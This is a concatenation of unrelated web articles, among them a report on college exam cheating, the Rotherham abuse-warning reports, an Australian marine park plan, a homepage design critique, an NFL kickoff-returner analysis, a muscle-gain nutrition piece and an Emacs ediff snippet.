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Remember, if you’ve not got access to your PS4, PS3 or PS Vita then you can also buy through our online store."My handwriting is so bad," he said. "Whenever I find myself having to write in a bluebook, I find my hand cramps up more, and I can't write as quickly."
Mr. Dapremont said technology had made cheating easier, but added that plagiarism in writing papers was probably a bigger problem because students can easily lift other people's writings off the Internet without attributing them.
Still, some students said they thought cheating these days was more a product of the mind-set, not the tools at hand.
"Some people put a premium on where they're going to go in the future, and all they're thinking about is graduate school and the next step," said Lindsay Nicholas, a third-year student at U.C.L.A. She added that pressure to succeed "sometimes clouds everything and makes people do things that they shouldn't do."
In a survey of nearly 62,000 undergraduates on 96 campuses over the past four years, two-thirds of the students admitted to cheating. The survey was conducted by Don McCabe, a Rutgers professor who has studied academic misconduct and helped found the Center for Academic Integrity at Duke.
David Callahan, author of "The Cheating Culture: Why More Americans Are Doing Wrong to Get Ahead" (Harcourt, 2004), suggested that students today feel more pressure to do well in order to get into graduate or professional school and secure a job.
"The rational incentives to cheat for college students have grown dramatically, even as the strength of character needed to resist those temptations has weakened somewhat," Mr. Callahan said.
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Whatever the reasons for cheating, college officials say the battle against it is wearing them out.
Though Brian Carlisle, associate dean of students at U.C.L.A., said most students did not cheat, he spoke wearily about cases of academic dishonesty.
He told of the student who loaded his notes onto the Sidekick portable e-mail device last fall; students who have sought help from friends with such devices; students who have preprogrammed calculators with formulas. Some students have even deigned to use the traditional cheat sheet, he said.
"One of the things that we're going to be paying close attention to as time goes on is the use of iPods," Professor Carlisle added, pointing out that with a wireless earpiece, these would be hard to detect.
The telltale iPod headphone wire proved the downfall of a Pepperdine student a couple of years ago, after he had dictated his notes into the portable music player and tried to listen to them during an exam.
"I have taught for 30 years and each year something new comes on the scene," Sonia Sorrell, the professor who caught the student, said in an e-mail message.
At the Anderson School of Management at U.C.L.A., the building's wireless Internet hotspot is turned off during finals to thwart Internet access.
Richard Craig, a professor at the School of Journalism and Mass Communications at San Jose State, who caught students using spell check last year, said that for tests, he arranged the classroom desks so that the students faced away from him but he could see their desktop screens.
"It was just a devilishly simple way to handle it," Professor Craig said.
At the University of Nevada, Professor Yasbin, the dean, was not the only one upset by the camera phone cheating episode there, which occurred in 2003; honest students were appalled, too. They suggested that they police one another, by being exam proctors.
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"The students walk around the classroom, and if they see something suspicious, they report it," Professor Yasbin said.
Amanda M. Souza, a third-year undergraduate who heads the proctor program, said her classmates had decidedly mixed reactions to the student monitors.
"The ones that aren't cheating think it's a great idea, " she said. "You always see students who are really well prepared covering their papers. But the ones that aren't prepared, probably don't like us."
At Mercer County Community College in West Windsor, N.J., students must clear their calculators' memory and sometimes relinquish their cellphones before tests. At Brigham Young University, exams are given in a testing center, where electronic devices are generally banned.
In some classes at Butler University in Indianapolis, professors use software that allows them to observe the programs running on computers students are taking tests on. And some institutions even install cameras in rooms where tests are administered.
To take a final exam last week, Alyssa Soares, a third-year law student at U.C.L.A., had to switch on software that cut her laptop's Internet access, wireless capability and even the ability to read her own saved files. Her computer, effectively, became a glorified typewriter. Ms. Soares, 28, said she did not mind. "This is making sure everyone is on a level playing field," she said.
Several professors said they tried to write exams on which it was hard to cheat, posing questions that outside resources would not help answer. And at many institutions, officials said that they rely on campus honor codes.
Several professors said the most important thing was to teach students not to cheat in the first place.
Timothy Dodd, executive director of the Center for Academic Integrity, said creating a "nuclear deterrent" to cheating in class, and perhaps implying that it is acceptable elsewhere, "is antithetical to what we should be doing as educators."The full extent of how agencies ignored a stark warning 12 years ago about child sex abuse in Rotherham was laid bare yesterday.
Two reports – which were 'widely distributed to middle and senior managers' – detailed the'significant' sexual exploitation problem in South Yorkshire by predominantly Asian men on white girls.
Written by researcher Dr Angie Heal in 2003 and 2006, the papers also highlighted police failures to tackle the abusers and listed a raft of recommendations.
Until now the reports have been kept secret, but were published yesterday after a freedom of information request.
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Abuser: Umar Razaq (pictured), whose victim has accused Rotherham council of 'covering up' the scandal
Police and council officials were told of child sex abuse in Rotherham in 2003 but failed to act, it has emerged
In them, police chiefs were even given a list of names of the suspected main perpetrators. But instead of taking action and following Dr Heal's advice to 'raise awareness' of the horrific underage abuse, the issue was swept under the carpet.
Dr Heal, who was employed by South Yorkshire Police to investigate drugs crime, also gave 'anecdotal' accounts in the reports suggesting corrupt behaviour by 'professionals'. This included a 'local councillor involved with a young woman' and a uniformed officer having sex with a 'young woman' in a red light district.
The 2003 report warned how some victims were subject to 'violence, rape, gang rape and kidnap' and many of the men were involved in 'drug dealing.'
A girl of 14 missing for three weeks was found drugged under a hotel bed. Another was kidnapped and repeatedly raped but her father was too frightened to tell police.
A girl of 12 was forced to watch her 14-year-old sister have sex with men in a hotel room. And another girl was doused in petrol as a threat to ensure she remained silent.
Former council leader Roger Stone (left) and Shaun Wright (right), who became Police and Crime Commissioner for South Yorkshire after working for the council, both resigned over the scandal
Dr Heal described sexual exploitation as a 'hidden' problem. She also said that in neighbouring Sheffield, specialist officers able to deal with the issue were 'few and far between'.
CHILD SEX GANG PROBLEMS EXTENDED TO SHEFFIELD The newly released reports show the issue of child grooming extended beyond Rotherham into neighbouring Sheffield. A 2006 report found Sheffield had an 'established on-street prostitution scene and a very entrenched sexual exploitation problem'. It also recorded reports of'sexual and physical violence perpetrated against teenage schoolgirls' in the city. The report said some of the main perpetrators appeared to be pimps and drug dealers, including an Asian family in Rotherham and members of the Afro-Caribbean community in Sheffield. The report's author Dr Angie Heal said there were differences between what was going on in Sheffield and Rotherham, such as the ethnic background of offenders. But the lack of police response was similar in both places, she said.
The report said most victims were aged 13 to 16 and tended to be 'blonde, slim and very attractive.'
'Ethnicity is becoming an increasing issue,' she said. In Rotherham the offenders were mainly Asian, she said. Her second report three years later stressed the problem in Rotherham remained very serious.The main gangs associated with organised sexual exploitation are Asian,' the report concluded, adding: 'This is not a new problem.'
Dr Heal also expressed concerns the race issue was leading to criminals escaping justice. She also said a more 'empathetic' attitude was needed towards the girls.
Despite all this evidence, police and council chiefs did little to address the escalating abuse issue.
Last year Professor Alexis Jay revealed how 1,400 children in Rotherham were abused by gangs of men, mainly of Pakistani origin, between 1997 and 2013. Her inquiry revealed how the abuse continued unchecked despite warnings given in these two reports and a Home Office report from 2002.
One victim, Lizzie, who was just 12 when she was first groomed in 2008, later told how she was stalked by her abuser Umar Razaq after he served less than a year in jail.
Rev Dr Alan Billings, now South Yorkshire crime commissioner, said police did not know what grooming was
She says she told police and Rotherham council but they 'weren't bothered', adding: 'Some of those councillors were involved in covering it up.'
Prof Jay said Dr Heal's reports were 'widely distributed to middle and senior managers in all key agencies.'
Dr Heal said yesterday: 'I can't understand why anyone told about the multiple rape of children wouldn't respond effectively to that. A senior officer said to me at one point, it was awful but burglary and car crime were policing priorities set by the Government.
'I am frustrated nothing was done with the information. I just feel so upset and very, very angry. The abuse could have been stopped.'
A total of 44 South Yorkshire police officers are under investigation by the Independent Police Complaints Commission.
The force said yesterday it has 'admitted to past failings in the way it handled child sexual exploitation,' but'significant progress' has been made.Government planning huge marine park expansion
Updated
Sorry, this video has expired Video: Marine park expansion draft unveiled (7pm TV News NSW)
The ABC has obtained an Environment Department proposal for a network of marine parks that would make up the biggest ocean conservation sanctuary in the world.
Environment Minister Tony Burke's upcoming announcement of a national network of Commonwealth marine parks has been described by environmentalists as a chance for the government to leave a legacy as significant as the protection of the Great Barrier Reef or Kakadu.
The documents show a huge protected area in the Coral Sea off Queensland, stretching all the way along the state's coastline and a long way out to sea.
There are protected pockets stretching further south past New South Wales, Victoria and Tasmania, and significant protected areas proposed around Western Australia and up to the Northern Territory.
Work on the network of marine parks has been underway for years, and it is expected a final decision on the protection zone could be just a week or two away.
Mr Burke says if the drafts are implemented, it would be the most significant step for conservation Australia has seen in terms of the number of hectares being placed into conservation.
"The combination of the Coral Sea joining up with the Great Barrier Reef area would provide the biggest marine protected area on the planet," he said.
Mr Burke says he has consulted stakeholders extensively.
Michele Grady from the Pew Environment Foundation says the proposed changes will be a world first.
We know from the devastating impacts of fishing and the search for oil and gas globally where oceans are in very deep decline that we have to do it better here. Michele Grady, Pew Environment Foundation
"It will be the first time that a nation has put in place the sort of protection that the science world is saying is needed to ensure that marine life is protected into the future," she said.
"We know from the devastating impacts of fishing and the search for oil and gas globally where oceans are in very deep decline that we have to do it better here."
But the World Wildlife Fund (WWF) has refused to endorse the proposal, with a spokesman saying it is outdated.
It is calling on the Government to announce its final plan to protect the marine environment.
"There is enormous scientific support for marine parks. We have national parks on land, [and] we need to have national parks in the marine environment," WWF spokesman Paul Gamblin said.
Furious commercial fishermen say the plan it will see businesses shut down and Australians paying more for their favourite seafood.
"What we're talking about here is Australia setting aside up to 50 per cent of the total economic zone to close to significant areas of fishing," said Brian Jeffriess from the Commonwealth Fisheries Association.
"Now that would mean that Australia would have over 50 per cent of the world's closed areas. That's Australia getting along way ahead of the world with no good reason."
Opposition Environment spokesman Greg Hunt also called for fishing communities to be fully consulted on the plans.
The University of Queensland's Hugh Possingham - who worked on the software and modelling that helped inform the plan - says the rezoning will be a significant change.
"Much of what we do seems esoteric, but this is the biggest rezoning the world's ever seen.
"The software that we've developed as part of this process will change 10 to 20 per cent of the surface of the entire development."
United front?
There are also questions being asked about whether the Government is unified in its enthusiasm for the marine park network.
While Mr Burke has been drawing up the marine park plans, his Cabinet colleague, Resources Minister Martin Ferguson, has been opening up Commonwealth waters to oil and gas exploration.
Environmentalists say those plans need greater scrutiny, and claim exploration in places like Rowley Shoals off the coast of Broome in WA risk jeopardising the marine park.
"Despite the marine sanctuary process now running for 10 years by way of preparation for these important decisions this year, there's been absolutely no check on what's been an increasingly desperate search for oil and gas," Ms Grady said.
"It would be akin to opening up the Great Barrier Reef Marine Park to oil and gas."
What we're talking about here is Australia setting aside up to 50 per cent of the total economic zone to close to significant areas of fishing. Brian Jeffriess, Commonwealth Fisheries Association
The reserves are in some cases along way off shore, and will mostly impact commercial fishery operations rather than recreational fishers.
The Commonwealth Fisheries Association's Brian Jeffriess says that could put some lucrative catches at risk.
"There's significant areas of rock lobster in the southern areas and in the western areas. There are significant areas of tuna long lining on the east coast of Australia and the south west of Australia. There are significant elements of trawl fishery in Queensland, NSW and WA.
"These are regional communities that are dependent on these fisheries and the prosperity it generates for regional communities.
"Could it have any impact on the consumer who goes down to the fish market looking for their choice cut or their bit of lobster?
"Clearly it will, whatever total adjustment this means in the end is going to be significant and domestic prices will go up."
Topics: oceans-and-reefs, conservation, environment, fishing-aquaculture, australia
First postedAbout The Author ZURB is a close-knit team of interaction designers and strategists that help companies design better products & services through consulting, products, … More about ZURB…
Case-Study: Deconstructing Popular Websites
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In our past articles, we’ve experimented with better ways to engage users on web pages with CSS3. We love getting into the nuts and bolts of web design by showing off some nifty coding tricks. In this article we’ll take a step back to provide some reasoning for designers to embark on that next redesign. Great web design happens with sound user needs, solid business goals and focused metrics. Learning how to deconstruct a website is an important step in building a plan that aligns the company vision with the needs of users. A good review will put the focus on the profitability of the business.
In our past articles, we’ve experimented with better ways to engage users on web pages with CSS3. We love getting into the nuts and bolts of web design by showing off some nifty coding tricks. In this article we’ll take a step back to provide some reasoning for designers to embark on that next redesign.
Great web design happens with sound user needs, solid business goals and focused metrics. Learning how to deconstruct a website is an important step in building a plan that aligns the company vision with the needs of users. A good review will put the focus on the profitability of the business.
We deconstructed a few popular web pages below to stimulate the discussion around specific interaction issues many companies face. We were not part of any of the design decisions and did not have access to the business objectives; our recommendations are based on experience and repeated patterns we observe in web design. And with that, here are five content heavy homepages deconstructed.
Mashable
Mashable is a huge social media news website. Mashable does a good job fronting up articles — they know their audience. It’s refreshing to see a single focus on the top of the page. They also do a good job of presenting headlines and pumping out regular content to their news-thirsty readers. Advertising, however, seems at odds with their content strategy in many places on the page (this is a common trend in content sites). It may be useful to consider changing the placement of advertisements to encourage more click-through.
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Full interactive view | Summary view
Regular readers might understand this statement, but based on the content on the homepage, it’s really hard to understand how these articles tie to social media. Holy navigation! People read body copy first, so this much navigation on the top probably doesn’t create more clicks into the site. This is great, but it gets lost and it’s not clear that you can read more by clicking on the ‘+’ symbol. Good use of the bandwagon technique to get people following Mashable. Right now these might be good for encouraging participation with the content, but it should be watched closely because of burnout. The homepage is heavily devoted to using these social media tools (which it should eat it’s own dogfood) &mdash as long as the site stays focused on good content, the use of them should only help grow readership. Butting the headline up against the image actually creates more interest in the summary. It’s a good technique to create a quickly “scannable” headline. With all the good things the layout does to get you invested in the content, the buttons create a heavy distraction, though the numbers on the buttons are extremely useful to users. The Google Buzz icon shouts for attention. A Med Rec like this performs better near the top when it’s tied to content. In the stream of information, this type of add will be ignored. Interesting approach to get people to view the sky scrapper ad. Tying these headlines to the ad probably increases the click through on the ad. $ Square ads this low on the page probably don’t perform well- integrating them between content articles will increase activity. $$$ We called this out on TechCrunch — taking sponsored events like this and putting them into ad space defeats the purpose of a powerful publishing platform. Where are the benefits? Please sell me on why I need this iPhone app. If it is a money maker, or provides more compelling ways to connect to users, then it makes sense to promote it. $$$ According to usability studies, clouds like this don’t help users very much. We assume this is more for SEO than readers- it’s a daunting list of topics to get through at the bottom of a page. Users will click on a high percentage of links if they are focused at the bottom of a page. This list, however, is too long to reap this benefit. These probably provide a revenue stream or help paying for the services. Not very useful for users. Interesting placement: this probably does fine in the middle of the page. Is it sponsored? Might be good to call this out.
MSN
MSN’s current design is a radical departure from their old homepage and a welcome change in a crowded market of news aggregators. MSN has struggled to separate itself from Yahoo and Google – this makeover helps differentiate the service.
Microsoft has struggled to drive profits with their web properties because of their lack of laser-like focus on users. The airy, light feel of the page makes it very approachable and inviting. Users will rejoice. It may be useful to create stronger hierarchies below the fold to encourage more return clicks — the way it is designed now doesn’t make the links look very valuable.
Full interactive view | Summary view
It’s interesting how companies alert people to a new site. Putting a beta or preview label allows a team to deal with failure upfront. But why? The navigation is simple and easy to drill down to a topic (large clicking area), but the drop down menus get in the way. They’re a bit slow to respond to the rollover. Great use of a headline. Big and bold. A huge departure from the old MSN homepage. Now, this is a bold move by one of the most traffic pages on the Web. The white space alone seems like a huge risk for such an advertising dependent page. This is a new trend by Yahoo as well: cycle more news stories onto a single page. The problem is that these are too small to accurately control. Incredible discipline to not jam the ad higher on the page. If you compare this design with the old homepage, they’re still able to get the ad higher on the page. Bummer, unlike the top nav, the clickable area on this subnav is relegated to the words. Interesting treatment on the search bar. This is a huge departure from the previous Bing search box. Associating the search clicking action with Bing is good, but it’s going to be extremely difficult to get people to say, “just bing it.” All other search filters have been removed: it seems like a smart move. Very odd placement for a security update! This has to be a business requirement that was thrown into the page. Amazing amounts of effort and money have been thrown into being with the cool kids, Facebook and Twitter. Microsoft put $250,000,000 into Facebook, so it’s surprising that Twitter gets free advertising. We are surprised again by the constraints of this redesign. Local, movies, maps and jobs are probably the four most used links (Yahoo on the other hand forces you to choose your links). This was a sound choice by MSN. Huge effort around local content. Full headlines are important (Yahoo truncates the headlines of local news). This is a nice addition; local content is going to start growing. Useful settings, but it’s unclear why this was included as a main nav item. The functionality is different. Instead of just showing popular searches, contextual information is provided next to the term. Very cool. Odd placement of “advertisement,” the top ad has this below the ad. Very sparse. A small call to action might increase use of the search form. Interesting constraint on this footer nav for a huge business that has hundreds of business units. It will be interesting to see this one playing out. It’s incredible to see a big white patch here. It gets filled with your information from the social site, but it’s an activity that most people will not do. Anyone in advertising yelling? Big departure: links are not blue and not distinguished unless you rollover the text.
Smashing Magazine
True to its roots, Smashing Magazine has a strong focus on content. Over the years it’s added depth to the site through new content and features. With most growing websites, it’s balanced new opportunities with its bread and butter, web design articles.
The number of new visitors that come to the site is staggering (based on referral traffic we seen). This makes it extremely difficult to balance the needs of the new readers with their loyal followers. Staying focused on good content makes this task easier. From a business perspective, it is recommendable to better align revenue streams (ads, jobs, books, etc) with the content. The risk of alienating readers is small; most users will tolerate offers if Smashing Magazine reduces the overall clutter and redundancy on the site.
Full interactive view | Summary view
Good use of different images on each page load. Returning users will find this subtle technique draw them into the graphic. The competition with the top horizontal ad makes this a battle of attention: where do you want me to click? Integrating content from a network is a great way to encourage cross traffic and it should be balanced with the overall goals of the site. Finding a middle ground between a tab and fully featured posts would help this effort. The white space around the logo gives it some nice breathing room and focus. To give return users a little more value, tighten up the spacing and bring a little more content above the fold. Generous size ads for the advertisers, but the wall of ads probably lowers the overall click-through. $$$ The Twitter and RSS numbers provide strong validation of the site. The graphics are nice, but the visual style is not used anywhere else on the page. This is a great idea, but the value is unclear: why do I want to sign up for the newsletter? Great use of big images to sell the story. However, a wide gap is created when the ad is placed at the top. Excellent use of quick links under the header. Too many sites try to hide these in drop downs. Yes! Simple, big headlines scream: Read our content. There are some great articles that get lost in this list. This duplicates the tab on the top of the page. It’s a balance between creating traffic and loosing traffic. This is an odd place to introduce general site content. This additional list of tweets doesn’t help attract new followers. The text is out of context with replies and the visual style seems out of place. This is near the headline, so it’s a great benefit to the advertiser… but it also pushes the width of the content much wider. This is a revenue stream that is hidden down in the sidebar. Integration of jobs into the site will make traffic to this section higher. $$$ Focusing on the headlines and lead-in is a good tactic. The usability doesn’t fall apart with a slower loading image down the page. Placing this new property on the lower half of the page reduces the exposure this new effort requires. It also suffers from ad blindness. Popular posts are great, but more context might make the value of the links go up. When sprinkled down the page the impact declines. The footer has good links. Improving the hierarchy of links will provide more clicks and revenue. People tend to look for launch points after scrolling down a page. This type of personality goes a long way in building a loyal following. The addition of pagination doesn’t provide much context for the vast majority of visitors. Focusing on a single call to action will increase the number of clicks.
TechCrunch
TechCrunch has put a heavy emphasis on providing great, up-to-date content. This is a strategy that will continue to fuel their growth. They have a number of efforts on the page that aren’t presented well, but their focus on content will continue to drive traffic to those initiatives.
Full interactive view | Summary view
Boxing in the ad around a piece of content helps increase click-through. The logo, however, doesn’t offer much in terms of actions and is likely to reduce the click-through. TechCrunch does a great job of getting feed sign-ups, but these actions get lost in the shuffle. It is very likely that people who subscribe to a feed are more likely to engage in the site. $$$ Good choice: people want content, not navigation. However, the calls to action for these destinations should be stronger within the page. The downside of a “modular,” boxed in design is that intersecting lines fight for the user’s eye. The downside of this advertising model is repeated ads- it grabs the attention of a user, but this effort will provide limited value for the advertiser. In a blog structure like this, content space is valuable: but why treat the event as an ad? Content that supports the event would drive more invested clicks. Is this an ad? Editorial? Clicking on this graphic takes you to a blog entry, but it appears to be advertising. It’s very misleading. Good information. It costs money, but why treat this as an ad? Interesting use of buttons to show popularity of a post. For design consistency it would be nice to right align with the dotted line. Great use of images and headlines to draw people into the site. This feature is a huge win over most editorial sites. An A/B test might reveal having one big rotating editorial image and headline would actually encourage more clicks down the page and increase advertising click-through rates. This is great. Showing activity encourages more activity. Boxing in the ad increases the click-through. Removing the dotted line to the right might increase it even more. Bold headers are a good choice. Users appreciate the simplicity of a clear call to action. They can choose to read the article or not. This is where a user would expect to see search, though it feels a tad crammed and the rounded form elements don’t seem to gel with the heavy grid system. Logos seem odd and out of place. For a site that considers placement of content, these seem to be thrown onto the page. Eventually the value of these placements will go down as users continue to return for content. Reducing the number of ads and increasing payments might encourage more click-through. These two ad placements probably don’t get a high click-through rate. Humor keeps things real. Even if it is for stats. Content, content, and content. TechCrunch gives users what they want. A long scrolling page of content keeps people coming back. Considering a better footer might increase traffic and engagement. $$$
CNN
CNN made a bold move by restructuring the entire website and putting a huge emphasis on video. It’s a very stark contrast from their old website, and while we like the dynamic elements, the three column approach makes it difficult to understand the hierarchy of the information. It could be helpful to reduce the heavy red banner, simplify the columns and use more of the design choices made on the article pages.
Full interactive view | Summary view
This red header competes with the content. It’s a branding effort that fights with the use of the site. Over time people will be influenced more by the quality of the content. This is a unique branding decision to center align the logo. It certainly creates awareness of the logo, but over time it will get in the way of what users want: content. 84 pixels is a lot of vertical space to highlight a logo. This is a nice feature. It’s great to know how current the content is. As a large news organization is something that users will appreciate. It’s also a competitive advantage over smaller news outlets. It’s an interesting technique, but the headline gets lost as white text on black. I’m also conflicted-should I start reading on the left or center image. Based on our experience, placement of the ad here probably reduces the click-through, especially considering that people are trying to figure out if they need to read the center feature block or left feature block. This blocky navigation competes with the content. It seems a bit out of place. This video call to action is nifty, but it creates noise by centering it over the image. Does the general population understand
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the top kickoff returner was Cordarrelle Patterson, and the system surely does not succumb to any shortcomings here. The Vikings rookie led the NFL in both kickoff return average and touchdowns, and ranked second in yards to Devin Hester (who needed nine more returns to gain those extra 43 yards). Patterson averaged 33.1 adjusted yards per kickoff return; given his 43 returns and the NFL average of 23.4, that means Patterson provided 416 yards of value over average, easily the most in the league. The table below shows the amount of value added by every kickoff returner in 2013; by default, the table displays the top 10, but you can change that number in the dropdown box on the left. As always, the table is fully sortable and searchable, too.
Two Chiefs make it into the top 10; together, Quintin Demps and Knile Davis helped Kansas City lead the league in return average by 3.5 yards more than the next best team. Along with a great defense, the return units (remember, Dexter McCluster was the top punt returner of 2013) were the reason the Chiefs led the league in average starting field position (the 33.6-yard line). The bottom of this list is filled with “returners” who presumably covered a fair number of onside kicks and intentionally short kickoffs. Still, Arizona and Washington each have regular returners near the bottom, and both squads suffered from terrible return units.
Next, let’s look at the 300 best kickoff return seasons in football history using this metric. Of note: Patterson’s 2013 season was the 2nd best ever, behind only Josh Cribbs’ magnificent 2007 season (remember, that year, Cribbs also provided 142 yards of punt return value over average):
Cribbs was able to sustain a 31.2 AY/KR average over 59 kickoff returns, which makes him a worthy selection for the top returner. MarTay Jenkins is the single-season leader in kickoff return yards (how many people knew that?!), but he’s also the single-season leader in kickoff returns.
Travis Williams took four of his 18 kickoffs back for touchdowns, including two in the first quarter against the Browns. Deion Sanders’ 1992 season checks in at number 12, while Gale Sayers has three top-115 seasons. But the king here is undoubtedly Mel Gray; in addition to a top ten season in ’94, he had two other top-60 seasons, and four more in the top 250. Does that make him the best kickoff returner ever?
As before, I’m going to utilize two different methods to create career rankings. The first is to simply sum the values produced by each returner in every season of his career. But adding the grades for each season tends to award longevity over dominance, and a really bad season can cancel out a really good season. Some might think those are good aspects of the system, but when we think of the best returners, we tend to think of them at their best. So the other formula I used was to take 100% of each kickoff returner’s best season, 90% of their second best, 80% of their third best, and so on; I also did not include any season where the kickoff returner had a below-average grade.
Under either system, Gray stands out as the champ. His raw numbers are not incredibly impressive but that’s because he played in the dead ball era of kickoff returns. For example, his career AY/KR is 1.5 yards worse than Cribbs, but he provided over 500 more yards of value over the course of his career (despite having just 14 more returns). That’s because of the era adjustment (and since Gray was so dominant for so long and almost never below average, his “sum of all seasons” grade looks to be unbreakable). Here’s how to read Gray’s line: he played from 1986 to 1997, returned 421 kickoffs for 10,250 yards and 6 touchdowns, and averaged 24.6 AY/KR. If you add his value from each season of his career, he produced 1802 yards of value over the average kickoff returner; using the 100/90/80 system, Gray produced 1235 yards of value.
Brad Oremland performed a similar analysis three years ago, and he came to the same conclusion: Gray is the clear choice for greatest kickoff returner ever. Honestly, there’s little to discuss; unless you think the era adjustment is inappropriate (I’m willing to hear arguments), Gray’s dominance in this metric is borderline Brown/Rice-like.
In my opinion, Cribbs has been harmed by playing at the same time as Hester (and playing for the Browns). Cribbs ranks as the 2nd best kickoff returner and the 26th best punt returner (Hester was 42nd and 1st, respectively), but he has never been revered the way Hester was during his prime.
Brian Mitchell would be a popular choice for best kickoff returner ever; he certainly has longevity on his side. But while Mitchell is the career leader in kickoff return yards by over 2,000, he also had nearly 100 more returns than any other player (that, of course, is also a sign of his greatness). The negatives? Mitchell returned just four kickoffs for touchdowns in his entire career, never led the league in yards per kickoff return, and only finished in the top four in yards per kickoff return once in his career.
Sayers would be another popular pick, but he fails for the opposite reason. With just 91 returns, it’s hard to put him over players like Cribbs and Gray. And in this case, the averages are a bit misleading: Sayers played in an extremely friendly environment, which is why his numbers “look” so much better than Gray’s. Williams, a Sayers contemporary, has pretty similar career numbers and none of the hype. Sayers was a great returner, of course, but he wasn’t the best. That honor is reserved for Mel Gray.
Factors Adjusted Yards per Kickoff Return Does Not Incorporate
There are many variables that would go into a proper rating of a kickoff returner; here are just some of the big ones that are ignored in this system.BOISE, ID—Explaining to reporters that he’s been meaning to see it for years, lifelong Boise resident Dale Kirkbride acknowledged Friday that he has never visited the city’s popular Morrison Knudsen Nature Center. “I know, I know—I really should get out there, but I never seem to find the time,” said Kirkbride, who confirmed numerous friends and coworkers have told him the butterfly gardens alone are worth the price of admission. “Everyone loves the Morrison Knudsen. It’s what people come to Boise to see. Meanwhile, I’ve lived 10 minutes away from it my whole life and somehow never gotten around to it. What’s wrong with me?” At press time, sources confirmed Kirkbride had at long last visited the nature center, where he looked around briefly, bought a hat in the gift shop, and then drove back home.
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Packing on muscle can be done in two steps: lifting weights and eating more. When you workout, you cause tiny tears in your muscles that are later repaired which is what makes you bigger, faster and stronger. When your body is repairing, it’s in an anabolic state. To gain the most weight, you need to keep your body from going in the opposite direction, what’s known as a catabolic state – when your body is breaking tissue down. The longer you can keep your body in an anabolic state, the more muscle you’ll build and the quicker you’ll gain weight.
Why would you go into a catabolic state?
The two main reasons that your body would fall into a catabolic state are: extended periods of activity (exercise) and fasting. When you workout for a long time, your body starts to use up its preferred sources of energy: glycogen and glucose. When this happens, it can start to breakdown tissue in order to burn the protein found in the muscle as energy. A similar process happens when you go without food for a long time.
Eating breakfast is very important if you’re trying to gain weight. You need protein to keep those muscle repairs going and carbohydrates for energy. Breakfast is particularly important because you haven’t eaten since the night before which could have been more than 8 hours ago. Think about how long that is when your body is used to getting food every 2-4 hours. You might think your body doesn’t use a lot of energy during sleep, however this is when most of the repairing and rebuilding of damaged muscle tissue takes place. By the time you wake up, your body needs a fresh supply of nutrients.
Avoiding a Catabolic State During Exercise
Working out, as counterintuitive as it may seem, actually puts your body into a catabolic state. You can lessen the impact of this by using proper pre, during and post workout nutrition. Eating before a workout will give your body the energy it needs to exercise. Just as you wouldn’t go on a road trip without filling up your gas tank, you shouldn’t workout on an empty stomach. Doing so will increase the chances that your body will breakdown muscle tissue for energy.
Long workouts can also put you into a catabolic state. The longer you workout, the higher your energy needs are which can force your body to start breaking down muscle tissue.
If your workout lasts longer than an hour consider drinking a sports drink such as Powerade or Gatorade to keep your body out of a catabolic state. The quick digesting sugars will give you an extra supply of energy so your body won’t need to breakdown muscle tissue to convert into sugar.
Carbs Can Help Keep Away Catabolic States
Your body stores carbohydrate energy in two main ways: as blood glucose and as glycogen which is kept in the muscle and liver. When you’re done working out, these stores are low and your body’s immediate goal is to return those levels back to normal. Post workout nutrition should consist of a food that is digested quickly so that your body can move onto its next goal of repairing damaged muscle tissue. Protein shakes are one of the best options because they will get digested a lot quicker than any whole foods you eat.
By consuming simple carbs (sugar), you’ll give your body a quick shot of energy that it can use to refill its energy supplies. If you don’t take in any carbohydrates, your body will begin taking apart muscle to convert into sugar which will then be used to return glucose levels back to normal. If you’re trying to gain weight, this would be very counterproductive. You also need to consume protein after a workout. This will help your body with its second goal of beginning to repair muscle tissue that was damaged during the workout.
Post Workout Nutrition
Muscle repair doesn’t stop after you drink a protein shake. It continues all day and night. It’s very important that you get on a normal eating schedule throughout the day to keep your body from going into a catabolic state. Rebuilding muscle tissue is a very energy intensive process. If you aren’t providing your body with the nutrients it needs (fats, carbs and protein) throughout the day, you won’t build a lot of muscle. Eating smaller more frequent meals will allow your body to better utilize the calories rather than storing them as fat.
The Bottom Line
To build any sort of structure, you need a form of energy and building materials. Your body works in the same way. If you want to gain weight in the form of muscle, you need to stimulate your muscles through strength training and give it enough nutrients (both energy and protein) to grow.Quickly ediff files from dired
ediff.el --- a comprehensive visual interface to diff & patch
I wrote about ediff years ago. Today, I'll just reference a useful ediff snippet from my config that I've added some time ago and refined only recently.
The premise is quite simple: press e in dired-mode to immediately ediff two marked files, no questions asked:
( define-key dired-mode-map "e" 'ora-ediff-files )
And here's the code, with a few bells and whistles:
;; -*- lexical-binding: t -*- ( defun ora-ediff-files () ( interactive ) ( let (( files ( dired-get-marked-files )) ( wnd ( current-window-configuration ))) ( if ( <= ( length files ) 2 ) ( let (( file1 ( car files )) ( file2 ( if ( cdr files ) ( cadr files ) ( read-file-name "file: " ( dired-dwim-target-directory ))))) ( if ( file-newer-than-file-p file1 file2 ) ( ediff-files file2 file1 ) ( ediff-files file1 file2 )) ( add-hook 'ediff-after-quit-hook-internal ( lambda () ( setq ediff-after-quit-hook-internal nil ) ( set-window-configuration wnd )))) ( error "no more than 2 files should be marked" ))))
Some notes on how the extra code adds convenience:
In case no files are marked, the file at point is used as the first file, and read-file-name is used for the second file. Since I have the magic (setq dired-dwim-target t) in my config, in case a second dired buffer is open, dired-dwim-target-directory will offer it as the starting directory during completion. Very useful to compare two files in two different directories. Depending on the order of the arguments to ediff-files, the changes will appear either as added or removed; file-newer-than-file-p tries to put the arguments in a logical order by looking at the files' last change times. ediff-after-quit-hook-internal is used to restore the previous window configuration after I quit ediff with q.
That's about it. Hopefully, it's useful. Happy hacking.Illinois defensive back Eric Finney recently provided a series of entertaining answers to a survey conducted by the Champaign News-Gazette.
Among his responses, Finney, a senior out of Riverside, California, picked Los Angeles Dodgers slugger Yasiel Puig as his Heisman Trophy favorite and offered this gem when asked what bowl he planned to attend:
“I like to go to the one in the Illini Union, if not Old Orchard Lanes in Savoy. Lastly, Arrowhead Lanes for the cosmic features.”
Naturally, we wanted to hear more from Finney, so we served up a new set of questions. And he did not disappoint.
Here is what transpired:
ESPN.com: You seem to have an incredible grasp of local bowling alleys. Are you a frequent bowler?
Finney: You guys definitely did some digging or some type of unauthorized background check to uncover this sacred information. But if you must know, I am a member of the Champaign Municipal intercollegiate members only Holy Grail Bowling Club located at an undisclosed location in a dark alley similar to where the scene from "Lady and the Tramp" took place. Here’s a riddle for you to uncover the location: Whose idea was it to put an ’s’ on the word lisp?
ESPN.com: Any tips on mini golf courses? Good arcades?
Finney: I’M NOT ANSWERING THIS QUESTION UNTIL YOU CITE YOUR SOURCES IN ADA FORMAT. GOOD DAY SIR!
